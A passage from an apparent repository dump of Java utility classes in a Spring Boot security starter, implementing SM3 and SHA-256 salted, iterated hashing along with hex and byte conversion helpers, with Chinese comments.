iterations;\n    }\n\n    /**\n     * 返回小写SM3 hash串\n     *\n     * @param source 原始值字符串\n     * @return hash后的字节数组\n     */\n    private byte[] SM3Encode(String source, String salt) {\n        byte[] hashedBytes = new byte[32];\n        try {\n            byte[] msgBytes = (source + salt).getBytes(StandardCharsets.UTF_8);\n            SM3Digest sm3Digest = new SM3Digest();\n            sm3Digest.update(msgBytes, 0, msgBytes.length);\n            sm3Digest.doFinal(hashedBytes, 0);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return hashedBytes;\n    }\n\n\n    /**\n     * 返回小写SM3 hash串\n     *\n     * @param msgBytes 原始值-字节数组\n     * @return hash后的字节数组\n     */\n    private byte[] SM3Encode(byte[] msgBytes) {\n        byte[] hashedBytes = new byte[32];\n        try {\n            SM3Digest sm3Digest = new SM3Digest();\n            sm3Digest.update(msgBytes, 0, msgBytes.length);\n            sm3Digest.doFinal(hashedBytes, 0);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return hashedBytes;\n    }\n\n\n    /**\n     * 返回小写SM3 hash串\n     *\n     * @param source 原始值字符串\n     * @return hash后的字节数组\n     */\n    private byte[] SM3Encode(String source, String salt, int hashIterations) {\n        byte[] hashedBytes;\n        // 最少迭代一次\n        if (hashIterations < 1) {\n            hashIterations = 1;\n        }\n        hashedBytes = this.SM3Encode(source, salt);\n        for (int i = 0; i < hashIterations - 1; i++) {\n            hashedBytes = this.SM3Encode(hashedBytes);\n        }\n        return hashedBytes;\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    public String toHex() {\n        byte[] resultBytes = this.SM3Encode(this.source, this.salt, this.iterations);\n        return HexUtil.bytesToHex(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为Base64字符串\n     *\n     * @return Base64字符串\n     */\n    public String toBase64() {\n        byte[] resultBytes = this.SM3Encode(this.source, this.salt, this.iterations);\n        return Base64.getEncoder().encodeToString(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    @Override\n    public String toString() {\n        return this.toHex();\n    }\n\n\n    public static void main(String[] args) {\n        System.out.println(new SM3Hash(\"123456\", \"323@#@$1234da\", 1).toHex());\n        System.out.println(new SM3Hash(\"123456\", \"323@#@$1234da\").toHex());\n        System.out.println(new SM3Hash(\"123456\").toHex());\n\n        System.out.println(new SM3Hash(\"123456\", \"323@#@$1234da\", 2).toHex());\n\n        System.out.println(new SM3Hash(\"123456\", \"323@#@$1234da\", 4).toHex());\n\n        System.out.println(new SM3Hash(\"123456\", \"323@#@$1234da\").toBase64());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/Sha256Hash.java",
    "content": "package com.jun.plugin.security.util.secure;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.nio.charset.StandardCharsets;\nimport java.security.MessageDigest;\nimport java.util.Base64;\n\npublic class Sha256Hash {\n    final static Logger log = LoggerFactory.getLogger(MD5Hash.class);\n\n\n    /**\n     * 原始值\n     */\n    private String source;\n\n    /**\n     * 颜值\n     */\n    private String salt = \"\";\n\n    /**\n     * 迭代次数（默认1次）\n     */\n    private int iterations = 1;\n\n    public String getSource() {\n        return this.source;\n    }\n\n    public void setSource(String source) {\n        this.source = source;\n    }\n\n    public String getSalt() {\n        return this.salt;\n    }\n\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    public int getIterations() {\n        return this.iterations;\n    }\n\n    public void setIterations(int iterations) {\n        this.iterations = iterations;\n    }\n\n    public Sha256Hash(String source, String salt, int iterations) {\n        this.source = source;\n        this.salt = salt;\n        this.iterations = iterations;\n    }\n\n    public Sha256Hash(String source) {\n        this.source = source;\n    }\n\n    public Sha256Hash(String source, String salt) {\n        this.source = source;\n        this.salt = salt;\n    }\n\n    public Sha256Hash(String source, int iterations) {\n        this.source = source;\n        this.iterations = iterations;\n    }\n\n    /**\n     * 返回小写SHA-256\n     *\n     * @param source 原始值字符串\n     * @return hash后的字节数组\n     */\n    private byte[] Sha256Encode(String source, String salt, int hashIterations) {\n        MessageDigest messageDigest = null;\n        byte[] hashedBytes = null;\n        try {\n            messageDigest = MessageDigest.getInstance(\"SHA-256\");\n            // 先加盐\n            if (salt != null) {\n                messageDigest.reset();\n                messageDigest.update(salt.getBytes(StandardCharsets.UTF_8));\n            }\n            // 再放需要被hash的数据\n            hashedBytes = messageDigest.digest(source.getBytes(StandardCharsets.UTF_8));\n            // 最少迭代一次\n            if (hashIterations < 1) {\n                hashIterations = 1;\n            }\n            // 迭代继续hash\n            for (int i = 0; i < hashIterations - 1; i++) {\n                messageDigest.reset();\n                hashedBytes = messageDigest.digest(hashedBytes);\n            }\n        } catch (Exception e) {\n            if (log.isErrorEnabled()) {\n                log.error(\"MD5Utils -- MD5Encode -- Exception= {e}\", e);\n            }\n        }\n        return hashedBytes;\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    public String toHex() {\n        byte[] resultBytes = this.Sha256Encode(this.source, this.salt, this.iterations);\n        return HexUtil.bytesToHex(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为Base64字符串\n     *\n     * @return Base64字符串\n     */\n    public String toBase64() {\n        byte[] resultBytes = this.Sha256Encode(this.source, this.salt, this.iterations);\n        return Base64.getEncoder().encodeToString(resultBytes);\n    }\n\n\n    /**\n     * 将将byte[]转为16进制字符串\n     *\n     * @return 16进制字符串\n     */\n    @Override\n    public String toString() {\n        return this.toHex();\n    }\n\n\n    public static void main(String[] args) {\n        System.out.println(new Sha256Hash(\"123456\", \"323@#@$1234da\", 10).toBase64());\n        System.out.println(new Sha256Hash(\"123456\", \"323@#@$1234da\").toHex());\n        System.out.println(new Sha256Hash(\"123456\").toHex());\n\n        System.out.println(new Sha256Hash(\"123456\", \"323@#@$1234da\", 2).toHex());\n\n        System.out.println(new Sha256Hash(\"123456\", \"323@#@$1234da\", 3).toHex());\n\n        System.out.println(new Sha256Hash(\"123456\", \"323@#@$1234da\", 3).toBase64());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/sm3/SM3.java",
    "content": "package com.jun.plugin.security.util.secure.sm3;\n\n/**\n *\n * @version  2021-01-02-14:45\n **/\npublic class SM3 {\n    public static final byte[] iv = { 0x73, (byte) 0x80, 0x16, 0x6f, 0x49, 0x14, (byte) 0xb2, (byte) 0xb9, 0x17, 0x24,\n            0x42, (byte) 0xd7, (byte) 0xda, (byte) 0x8a, 0x06, 0x00, (byte) 0xa9, 0x6f, 0x30, (byte) 0xbc, (byte) 0x16,\n            0x31, 0x38, (byte) 0xaa, (byte) 0xe3, (byte) 0x8d, (byte) 0xee, 0x4d, (byte) 0xb0, (byte) 0xfb, 0x0e,\n            0x4e };\n\n    public static int[] Tj = new int[64];\n\n    static {\n        for (int i = 0; i < 16; i++) {\n            Tj[i] = 0x79cc4519;\n        }\n\n        for (int i = 16; i < 64; i++) {\n            Tj[i] = 0x7a879d8a;\n        }\n    }\n\n    public static byte[] CF(byte[] V, byte[] B) {\n        int[] v, b;\n        v = convert(V);\n        b = convert(B);\n        return convert(CF(v, b));\n    }\n\n    private static int[] convert(byte[] arr) {\n        int[] out = new int[arr.length / 4];\n        byte[] tmp = new byte[4];\n        for (int i = 0; i < arr.length; i += 4) {\n            System.arraycopy(arr, i, tmp, 0, 4);\n            out[i / 4] = bigEndianByteToInt(tmp);\n        }\n        return out;\n    }\n\n    private static byte[] convert(int[] arr) {\n        byte[] out = new byte[arr.length * 4];\n        byte[] tmp = null;\n        for (int i = 0; i < arr.length; i++) {\n            tmp = bigEndianIntToByte(arr[i]);\n            System.arraycopy(tmp, 0, out, i * 4, 4);\n        }\n        return out;\n    }\n\n    public static int[] CF(int[] V, int[] B) {\n        int a, b, c, d, e, f, g, h;\n        int ss1, ss2, tt1, tt2;\n        a = V[0];\n        b = V[1];\n        c = V[2];\n        d = V[3];\n        e = V[4];\n        f = V[5];\n        g = V[6];\n        h = V[7];\n\n        int[][] arr = expand(B);\n        int[] w = arr[0];\n        int[] w1 = arr[1];\n\n        for (int j = 0; j < 64; j++) {\n            ss1 = (bitCycleLeft(a, 12) + e + bitCycleLeft(Tj[j], j));\n            ss1 = bitCycleLeft(ss1, 7);\n            ss2 = ss1 ^ bitCycleLeft(a, 12);\n            tt1 = FFj(a, b, c, j) + d + ss2 + w1[j];\n            tt2 = GGj(e, f, g, j) + h + ss1 + w[j];\n            d = c;\n            c = bitCycleLeft(b, 9);\n            b = a;\n            a = tt1;\n            h = g;\n            g = bitCycleLeft(f, 19);\n            f = e;\n            e = P0(tt2);\n\n        }\n\n        int[] out = new int[8];\n        out[0] = a ^ V[0];\n        out[1] = b ^ V[1];\n        out[2] = c ^ V[2];\n        out[3] = d ^ V[3];\n        out[4] = e ^ V[4];\n        out[5] = f ^ V[5];\n        out[6] = g ^ V[6];\n        out[7] = h ^ V[7];\n\n        return out;\n    }\n\n    private static int[][] expand(int[] B) {\n        int[] W = new int[68];\n        int[] W1 = new int[64];\n        for (int i = 0; i < B.length; i++) {\n            W[i] = B[i];\n        }\n\n        for (int i = 16; i < 68; i++) {\n            W[i] = P1(W[i - 16] ^ W[i - 9] ^ bitCycleLeft(W[i - 3], 15)) ^ bitCycleLeft(W[i - 13], 7) ^ W[i - 6];\n        }\n\n        for (int i = 0; i < 64; i++) {\n            W1[i] = W[i] ^ W[i + 4];\n        }\n\n        int[][] arr = new int[][] { W, W1 };\n        return arr;\n    }\n\n    private static byte[] bigEndianIntToByte(int num) {\n        return back(SM3ConvertUtil.intToBytes(num));\n    }\n\n    private static int bigEndianByteToInt(byte[] bytes) {\n        return SM3ConvertUtil.byteToInt(back(bytes));\n    }\n\n    private static int FFj(int X, int Y, int Z, int j) {\n        if (j >= 0 && j <= 15) {\n            return FF1j(X, Y, Z);\n        } else {\n            return FF2j(X, Y, Z);\n        }\n    }\n\n    private static int GGj(int X, int Y, int Z, int j) {\n        if (j >= 0 && j <= 15) {\n            return GG1j(X, Y, Z);\n        } else {\n            return GG2j(X, Y, Z);\n        }\n    }\n\n    // 逻辑位运算函数\n    private static int FF1j(int X, int Y, int Z) {\n        int tmp = X ^ Y ^ Z;\n        return tmp;\n    }\n\n    private static int FF2j(int X, int Y, int Z) {\n        int tmp = ((X & Y) | (X & Z) | (Y & Z));\n        return tmp;\n    }\n\n    private static int GG1j(int X, int Y, int Z) {\n        int tmp = X ^ Y ^ Z;\n        return tmp;\n    }\n\n    private static int GG2j(int X, int Y, int Z) {\n        int tmp = (X & Y) | (~X & Z);\n        return tmp;\n    }\n\n    private static int P0(int X) {\n        int y = rotateLeft(X, 9);\n        y = bitCycleLeft(X, 9);\n        int z = rotateLeft(X, 17);\n        z = bitCycleLeft(X, 17);\n        int t = X ^ y ^ z;\n        return t;\n    }\n\n    private static int P1(int X) {\n        int t = X ^ bitCycleLeft(X, 15) ^ bitCycleLeft(X, 23);\n        return t;\n    }\n\n    /**\n     * 对最后一个分组字节数据padding\n     *\n     * @param in\n     * @param bLen 分组个数\n     * @return\n     */\n    public static byte[] padding(byte[] in, int bLen) {\n        int k = 448 - (8 * in.length + 1) % 512;\n        if (k < 0) {\n            k = 960 - (8 * in.length + 1) % 512;\n        }\n        k += 1;\n        byte[] padd = new byte[k / 8];\n        padd[0] = (byte) 0x80;\n        long n = in.length * 8 + bLen * 512;\n        byte[] out = new byte[in.length + k / 8 + 64 / 8];\n        int pos = 0;\n        System.arraycopy(in, 0, out, 0, in.length);\n        pos += in.length;\n        System.arraycopy(padd, 0, out, pos, padd.length);\n        pos += padd.length;\n        byte[] tmp = back(SM3ConvertUtil.longToBytes(n));\n        System.arraycopy(tmp, 0, out, pos, tmp.length);\n        return out;\n    }\n\n    /**\n     * 字节数组逆序\n     *\n     * @param in\n     * @return\n     */\n    private static byte[] back(byte[] in) {\n        byte[] out = new byte[in.length];\n        for (int i = 0; i < out.length; i++) {\n            out[i] = in[out.length - i - 1];\n        }\n\n        return out;\n    }\n\n    public static int rotateLeft(int x, int n) {\n        return (x << n) | (x >> (32 - n));\n    }\n\n    private static int bitCycleLeft(int n, int bitLen) {\n        bitLen %= 32;\n        byte[] tmp = bigEndianIntToByte(n);\n        int byteLen = bitLen / 8;\n        int len = bitLen % 8;\n        if (byteLen > 0) {\n            tmp = byteCycleLeft(tmp, byteLen);\n        }\n\n        if (len > 0) {\n            tmp = bitSmall8CycleLeft(tmp, len);\n        }\n\n        return bigEndianByteToInt(tmp);\n    }\n\n    private static byte[] bitSmall8CycleLeft(byte[] in, int len) {\n        byte[] tmp = new byte[in.length];\n        int t1, t2, t3;\n        for (int i = 0; i < tmp.length; i++) {\n            t1 = (byte) ((in[i] & 0x000000ff) << len);\n            t2 = (byte) ((in[(i + 1) % tmp.length] & 0x000000ff) >> (8 - len));\n            t3 = (byte) (t1 | t2);\n            tmp[i] = (byte) t3;\n        }\n        return tmp;\n    }\n\n    private static byte[] byteCycleLeft(byte[] in, int byteLen) {\n        byte[] tmp = new byte[in.length];\n        System.arraycopy(in, byteLen, tmp, 0, in.length - byteLen);\n        System.arraycopy(in, 0, tmp, in.length - byteLen, byteLen);\n        return tmp;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/sm3/SM3ConvertUtil.java",
    "content": "package com.jun.plugin.security.util.secure.sm3;\n\nimport java.math.BigInteger;\n\n/**\n * @version 2021-01-02-14:19\n **/\npublic class SM3ConvertUtil {\n    /**\n     * 整形转换成网络传输的字节流（字节数组）型数据\n     *\n     * @param num 一个整型数据\n     * @return 4个字节的自己数组\n     */\n    public static byte[] intToBytes(int num) {\n        byte[] bytes = new byte[4];\n        bytes[0] = (byte) (0xff & (num >> 0));\n        bytes[1] = (byte) (0xff & (num >> 8));\n        bytes[2] = (byte) (0xff & (num >> 16));\n        bytes[3] = (byte) (0xff & (num >> 24));\n        return bytes;\n    }\n\n    /**\n     * 四个字节的字节数据转换成一个整形数据\n     *\n     * @param bytes 4个字节的字节数组\n     * @return 一个整型数据\n     */\n    public static int byteToInt(byte[] bytes) {\n        int num = 0;\n        int temp;\n        temp = (0x000000ff & (bytes[0])) << 0;\n        num = num | temp;\n        temp = (0x000000ff & (bytes[1])) << 8;\n        num = num | temp;\n        temp = (0x000000ff & (bytes[2])) << 16;\n        num = num | temp;\n        temp = (0x000000ff & (bytes[3])) << 24;\n        num = num | temp;\n        return num;\n    }\n\n    /**\n     * 长整形转换成网络传输的字节流（字节数组）型数据\n     *\n     * @param num 一个长整型数据\n     * @return 4个字节的自己数组\n     */\n    public static byte[] longToBytes(long num) {\n        byte[] bytes = new byte[8];\n        for (int i = 0; i < 8; i++) {\n            bytes[i] = (byte) (0xff & (num >> (i * 8)));\n        }\n\n        return bytes;\n    }\n\n    /**\n     * 大数字转换字节流（字节数组）型数据\n     *\n     * @param n 大数字\n     * @return 字节数组\n     */\n    public static byte[] byteConvert32Bytes(BigInteger n) {\n        byte tmpd[] = (byte[]) null;\n        if (n == null) {\n            return null;\n        }\n\n        if (n.toByteArray().length == 33) {\n            tmpd = new byte[32];\n            System.arraycopy(n.toByteArray(), 1, tmpd, 0, 32);\n        } else if (n.toByteArray().length == 32) {\n            tmpd = n.toByteArray();\n        } else {\n            tmpd = new byte[32];\n            for (int i = 0; i < 32 - n.toByteArray().length; i++) {\n                tmpd[i] = 0;\n            }\n            System.arraycopy(n.toByteArray(), 0, tmpd, 32 - n.toByteArray().length, n.toByteArray().length);\n        }\n        return tmpd;\n    }\n\n    /**\n     * 换字节流（字节数组）型数据转大数字\n     *\n     * @param b 字节数组\n     * @return 大数字\n     */\n    public static BigInteger byteConvertInteger(byte[] b) {\n        if (b[0] < 0) {\n            byte[] temp = new byte[b.length + 1];\n            temp[0] = 0;\n            System.arraycopy(b, 0, temp, 1, b.length);\n            return new BigInteger(temp);\n        }\n        return new BigInteger(b);\n    }\n\n    /**\n     * 根据字节数组获得值(十六进制数字)\n     *\n     * @param bytes 字节数组\n     * @return\n     */\n    public static String getHexString(byte[] bytes) {\n        return getHexString(bytes, true);\n    }\n\n    /**\n     * 根据字节数组获得值(十六进制数字)\n     *\n     * @param bytes     字节数组\n     * @param upperCase 是否返回大写\n     * @return 十六进制数字-字符串\n     */\n    public static String getHexString(byte[] bytes, boolean upperCase) {\n        String ret = \"\";\n        for (int i = 0; i < bytes.length; i++) {\n            ret += Integer.toString((bytes[i] & 0xff) + 0x100, 16).substring(1);\n        }\n        return upperCase ? ret.toUpperCase() : ret;\n    }\n\n    /**\n     * 打印十六进制字符串\n     *\n     * @param bytes 字节数组\n     */\n    public static void printHexString(byte[] bytes) {\n        for (int i = 0; i < bytes.length; i++) {\n            String hex = Integer.toHexString(bytes[i] & 0xFF);\n            if (hex.length() == 1) {\n                hex = '0' + hex;\n            }\n            System.out.print(\"0x\" + hex.toUpperCase() + \",\");\n        }\n        System.out.println(\"\");\n    }\n\n    /**\n     * Convert hex string to byte[]\n     *\n     * @param hexString the hex string\n     * @return byte[]\n     */\n    public static byte[] hexStringToBytes(String hexString) {\n        if (hexString == null || hexString.equals(\"\")) {\n            return null;\n        }\n\n        hexString = hexString.toUpperCase();\n        int length = hexString.length() / 2;\n        char[] hexChars = hexString.toCharArray();\n        byte[] d = new byte[length];\n        for (int i = 0; i < length; i++) {\n            int pos = i * 2;\n            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));\n        }\n        return d;\n    }\n\n    /**\n     * Convert char to byte\n     *\n     * @param c char\n     * @return byte\n     */\n    public static byte charToByte(char c) {\n        return (byte) \"0123456789ABCDEF\".indexOf(c);\n    }\n\n    /**\n     * 用于建立十六进制字符的输出的小写字符数组\n     */\n    private static final char[] DIGITS_LOWER = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd',\n            'e', 'f'};\n\n    /**\n     * 用于建立十六进制字符的输出的大写字符数组\n     */\n    private static final char[] DIGITS_UPPER = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D',\n            'E', 'F'};\n\n    /**\n     * 将字节数组转换为十六进制字符数组\n     *\n     * @param data byte[]\n     * @return 十六进制char[]\n     */\n    public static char[] encodeHex(byte[] data) {\n        return encodeHex(data, true);\n    }\n\n    /**\n     * 将字节数组转换为十六进制字符数组\n     *\n     * @param data        byte[]\n     * @param toLowerCase <code>true</code> 传换成小写格式 ， <code>false</code> 传换成大写格式\n     * @return 十六进制char[]\n     */\n    public static char[] encodeHex(byte[] data, boolean toLowerCase) {\n        return encodeHex(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER);\n    }\n\n    /**\n     * 将字节数组转换为十六进制字符数组\n     *\n     * @param data     byte[]\n     * @param toDigits 用于控制输出的char[]\n     * @return 十六进制char[]\n     */\n    protected static char[] encodeHex(byte[] data, char[] toDigits) {\n        int l = data.length;\n        char[] out = new char[l << 1];\n        // two characters form the hex value.\n        for (int i = 0, j = 0; i < l; i++) {\n            out[j++] = toDigits[(0xF0 & data[i]) >>> 4];\n            out[j++] = toDigits[0x0F & data[i]];\n        }\n        return out;\n    }\n\n    /**\n     * 将字节数组转换为十六进制字符串\n     *\n     * @param data byte[]\n     * @return 十六进制String\n     */\n    public static String encodeHexString(byte[] data) {\n        return encodeHexString(data, true);\n    }\n\n    /**\n     * 将字节数组转换为十六进制字符串\n     *\n     * @param data        byte[]\n     * @param toLowerCase <code>true</code> 传换成小写格式 ， <code>false</code> 传换成大写格式\n     * @return 十六进制String\n     */\n    public static String encodeHexString(byte[] data, boolean toLowerCase) {\n        return encodeHexString(data, toLowerCase ? DIGITS_LOWER : DIGITS_UPPER);\n    }\n\n    /**\n     * 将字节数组转换为十六进制字符串\n     *\n     * @param data     byte[]\n     * @param toDigits 用于控制输出的char[]\n     * @return 十六进制String\n     */\n    protected static String encodeHexString(byte[] data, char[] toDigits) {\n        return new String(encodeHex(data, toDigits));\n    }\n\n    /**\n     * 将十六进制字符数组转换为字节数组\n     *\n     * @param data 十六进制char[]\n     * @return byte[]\n     * @throws RuntimeException 如果源十六进制字符数组是一个奇怪的长度，将抛出运行时异常\n     */\n    public static byte[] decodeHex(char[] data) {\n        int len = data.length;\n\n        if ((len & 0x01) != 0) {\n            throw new RuntimeException(\"Odd number of characters.\");\n        }\n\n        byte[] out = new byte[len >> 1];\n\n        // two characters form the hex value.\n        for (int i = 0, j = 0; j < len; i++) {\n            int f = toDigit(data[j], j) << 4;\n            j++;\n            f = f | toDigit(data[j], j);\n            j++;\n            out[i] = (byte) (f & 0xFF);\n        }\n\n        return out;\n    }\n\n    /**\n     * 将十六进制字符转换成一个整数\n     *\n     * @param ch    十六进制char\n     * @param index 十六进制字符在字符数组中的位置\n     * @return 一个整数\n     * @throws RuntimeException 当ch不是一个合法的十六进制字符时，抛出运行时异常\n     */\n    protected static int toDigit(char ch, int index) {\n        int digit = Character.digit(ch, 16);\n        if (digit == -1) {\n            throw new RuntimeException(\"Illegal hexadecimal character \" + ch + \" at index \" + index);\n        }\n        return digit;\n    }\n\n    /**\n     * 数字字符串转ASCII码字符串\n     *\n     * @param content 字符串\n     * @return ASCII字符串\n     */\n    public static String StringToAsciiString(String content) {\n        String result = \"\";\n        int max = content.length();\n        for (int i = 0; i < max; i++) {\n            char c = content.charAt(i);\n            String b = Integer.toHexString(c);\n            result = result + b;\n        }\n        return result;\n    }\n\n    /**\n     * 十六进制转字符串\n     *\n     * @param hexString  十六进制字符串\n     * @param encodeType 编码类型4：Unicode，2：普通编码\n     * @return 字符串\n     */\n    public static String hexStringToString(String hexString, int encodeType) {\n        String result = \"\";\n        int max = hexString.length() / encodeType;\n        for (int i = 0; i < max; i++) {\n            char c = (char) hexStringToAlgorism(hexString.substring(i * encodeType, (i + 1) * encodeType));\n            result += c;\n        }\n        return result;\n    }\n\n    /**\n     * 十六进制字符串 转 十进制\n     *\n     * @param hex 十六进制字符串\n     * @return 十进制数值\n     */\n    public static int hexStringToAlgorism(String hex) {\n        hex = hex.toUpperCase();\n        int max = hex.length();\n        int result = 0;\n        for (int i = max; i > 0; i--) {\n            char c = hex.charAt(i - 1);\n            int algorism = 0;\n            if (c >= '0' && c <= '9') {\n                algorism = c - '0';\n            } else {\n                algorism = c - 55;\n            }\n            result += Math.pow(16, max - i) * algorism;\n        }\n        return result;\n    }\n\n    /**\n     * 十六转二进制\n     *\n     * @param hex 十六进制字符串\n     * @return 二进制字符串\n     */\n    public static String hexStringToBinary(String hex) {\n        hex = hex.toUpperCase();\n        String result = \"\";\n        int max = hex.length();\n        for (int i = 0; i < max; i++) {\n            char c = hex.charAt(i);\n            switch (c) {\n                case '0':\n                    result += \"0000\";\n                    break;\n                case '1':\n                    result += \"0001\";\n                    break;\n                case '2':\n                    result += \"0010\";\n                    break;\n                case '3':\n                    result += \"0011\";\n                    break;\n                case '4':\n                    result += \"0100\";\n                    break;\n                case '5':\n                    result += \"0101\";\n                    break;\n                case '6':\n                    result += \"0110\";\n                    break;\n                case '7':\n                    result += \"0111\";\n                    break;\n                case '8':\n                    result += \"1000\";\n                    break;\n                case '9':\n                    result += \"1001\";\n                    break;\n                case 'A':\n                    result += \"1010\";\n                    break;\n                case 'B':\n                    result += \"1011\";\n                    break;\n                case 'C':\n                    result += \"1100\";\n                    break;\n                case 'D':\n                    result += \"1101\";\n                    break;\n                case 'E':\n                    result += \"1110\";\n                    break;\n                case 'F':\n                    result += \"1111\";\n                    break;\n            }\n        }\n        return result;\n    }\n\n    /**\n     * ASCII码字符串转数字字符串\n     *\n     * @param content ASCII字符串\n     * @return 字符串\n     */\n    public static String AsciiStringToString(String content) {\n        String result = \"\";\n        int length = content.length() / 2;\n        for (int i = 0; i < length; i++) {\n            String c = content.substring(i * 2, i * 2 + 2);\n            int a = hexStringToAlgorism(c);\n            char b = (char) a;\n            String d = String.valueOf(b);\n            result += d;\n        }\n        return result;\n    }\n\n    /**\n     * 将十进制转换为指定长度的十六进制字符串\n     *\n     * @param algorism  int 十进制数字\n     * @param maxLength int 转换后的十六进制字符串长度\n     * @return String 转换后的十六进制字符串\n     */\n    public static String algorismToHexString(int algorism, int maxLength) {\n        String result = \"\";\n        result = Integer.toHexString(algorism);\n\n        if (result.length() % 2 == 1) {\n            result = \"0\" + result;\n        }\n        return patchHexString(result.toUpperCase(), maxLength);\n    }\n\n    /**\n     * 字节数组转为普通字符串（ASCII对应的字符）\n     *\n     * @param bytearray byte[]\n     * @return String\n     */\n    public static String byteToString(byte[] bytearray) {\n        String result = \"\";\n        char temp;\n\n        int length = bytearray.length;\n        for (int i = 0; i < length; i++) {\n            temp = (char) bytearray[i];\n            result += temp;\n        }\n        return result;\n    }\n\n    /**\n     * 二进制字符串 转 十进制\n     *\n     * @param binary 二进制字符串\n     * @return 十进制数值\n     */\n    public static int binaryToAlgorism(String binary) {\n        int max = binary.length();\n        int result = 0;\n        for (int i = max; i > 0; i--) {\n            char c = binary.charAt(i - 1);\n            int algorism = c - '0';\n            result += Math.pow(2, max - i) * algorism;\n        }\n        return result;\n    }\n\n    /**\n     * 十进制 转换为 十六进制字符串\n     *\n     * @param algorism int 十进制的数字\n     * @return String 对应的十六进制字符串\n     */\n    public static String algorismToHEXString(int algorism) {\n        String result = \"\";\n        result = Integer.toHexString(algorism);\n\n        if (result.length() % 2 == 1) {\n            result = \"0\" + result;\n\n        }\n        result = result.toUpperCase();\n\n        return result;\n    }\n\n    /**\n     * HEX字符串前补0，主要用于长度位数不足。\n     *\n     * @param str       String 需要补充长度的十六进制字符串\n     * @param maxLength int 补充后十六进制字符串的长度\n     * @return 补充结果\n     */\n    static public String patchHexString(String str, int maxLength) {\n        String temp = \"\";\n        for (int i = 0; i < maxLength - str.length(); i++) {\n            temp = \"0\" + temp;\n        }\n        str = (temp + str).substring(0, maxLength);\n        return str;\n    }\n\n    /**\n     * 将一个字符串转换为int\n     *\n     * @param s          String 要转换的字符串\n     * @param defaultInt int 如果出现异常,默认返回的数字\n     * @param radix      int 要转换的字符串是什么进制的,如16 8 10.\n     * @return int 转换后的数字\n     */\n    public static int parseToInt(String s, int defaultInt, int radix) {\n        int i = 0;\n        try {\n            i = Integer.parseInt(s, radix);\n        } catch (NumberFormatException ex) {\n            i = defaultInt;\n        }\n        return i;\n    }\n\n    /**\n     * 将一个十进制形式的数字字符串转换为int\n     *\n     * @param s          String 要转换的字符串\n     * @param defaultInt int 如果出现异常,默认返回的数字\n     * @return int 转换后的数字\n     */\n    public static int parseToInt(String s, int defaultInt) {\n        int i = 0;\n        try {\n            i = Integer.parseInt(s);\n        } catch (NumberFormatException ex) {\n            i = defaultInt;\n        }\n        return i;\n    }\n\n    /**\n     * 十六进制串转化为byte数组\n     *\n     * @return the array of byte\n     */\n    public static byte[] hexToByte(String hex) throws IllegalArgumentException {\n        if (hex.length() % 2 != 0) {\n            throw new IllegalArgumentException();\n        }\n        char[] arr = hex.toCharArray();\n        byte[] b = new byte[hex.length() / 2];\n        for (int i = 0, j = 0, l = hex.length(); i < l; i++, j++) {\n            String swap = \"\" + arr[i++] + arr[i];\n            int byteint = Integer.parseInt(swap, 16) & 0xFF;\n            b[j] = new Integer(byteint).byteValue();\n        }\n        return b;\n    }\n\n    /**\n     * 字节数组转换为十六进制字符串\n     *\n     * @param b byte[] 需要转换的字节数组\n     * @return String 十六进制字符串\n     */\n    public static String byteToHex(byte b[]) {\n        if (b == null) {\n            throw new IllegalArgumentException(\"Argument b ( byte array ) is null! \");\n        }\n        String hs = \"\";\n        String stmp = \"\";\n        for (int n = 0; n < b.length; n++) {\n            stmp = Integer.toHexString(b[n] & 0xff);\n            if (stmp.length() == 1) {\n                hs = hs + \"0\" + stmp;\n            } else {\n                hs = hs + stmp;\n            }\n        }\n        return hs.toUpperCase();\n    }\n\n    public static byte[] subByte(byte[] input, int startIndex, int length) {\n        byte[] bt = new byte[length];\n        for (int i = 0; i < length; i++) {\n            bt[i] = input[i + startIndex];\n        }\n        return bt;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/java/com/jun/plugin/security/util/secure/sm3/SM3Digest.java",
    "content": "package com.jun.plugin.security.util.secure.sm3;\n\n/**\n * 国密3加密算法工具类\n *\n * @version 2021-01-02-14:20\n **/\npublic class SM3Digest {\n    /**\n     * SM3值的长度\n     */\n    private static final int BYTE_LENGTH = 32;\n\n    /**\n     * SM3分组长度\n     */\n    private static final int BLOCK_LENGTH = 64;\n\n    /**\n     * 缓冲区长度\n     */\n    private static final int BUFFER_LENGTH = BLOCK_LENGTH * 1;\n\n    /**\n     * 缓冲区\n     */\n    private byte[] xBuf = new byte[BUFFER_LENGTH];\n\n    /**\n     * 缓冲区偏移量\n     */\n    private int xBufOff;\n\n    /**\n     * 初始向量\n     */\n    private byte[] V = SM3.iv.clone();\n\n    private int cntBlock = 0;\n\n    public SM3Digest() {\n    }\n\n    public SM3Digest(SM3Digest t) {\n        System.arraycopy(t.xBuf, 0, this.xBuf, 0, t.xBuf.length);\n        this.xBufOff = t.xBufOff;\n        System.arraycopy(t.V, 0, this.V, 0, t.V.length);\n    }\n\n    /**\n     * SM3结果输出\n     *\n     * @param out    保存SM3结构的缓冲区\n     * @param outOff 缓冲区偏移量\n     * @return\n     */\n    public int doFinal(byte[] out, int outOff) {\n        byte[] tmp = doFinal();\n        System.arraycopy(tmp, 0, out, 0, tmp.length);\n        return BYTE_LENGTH;\n    }\n\n    public void 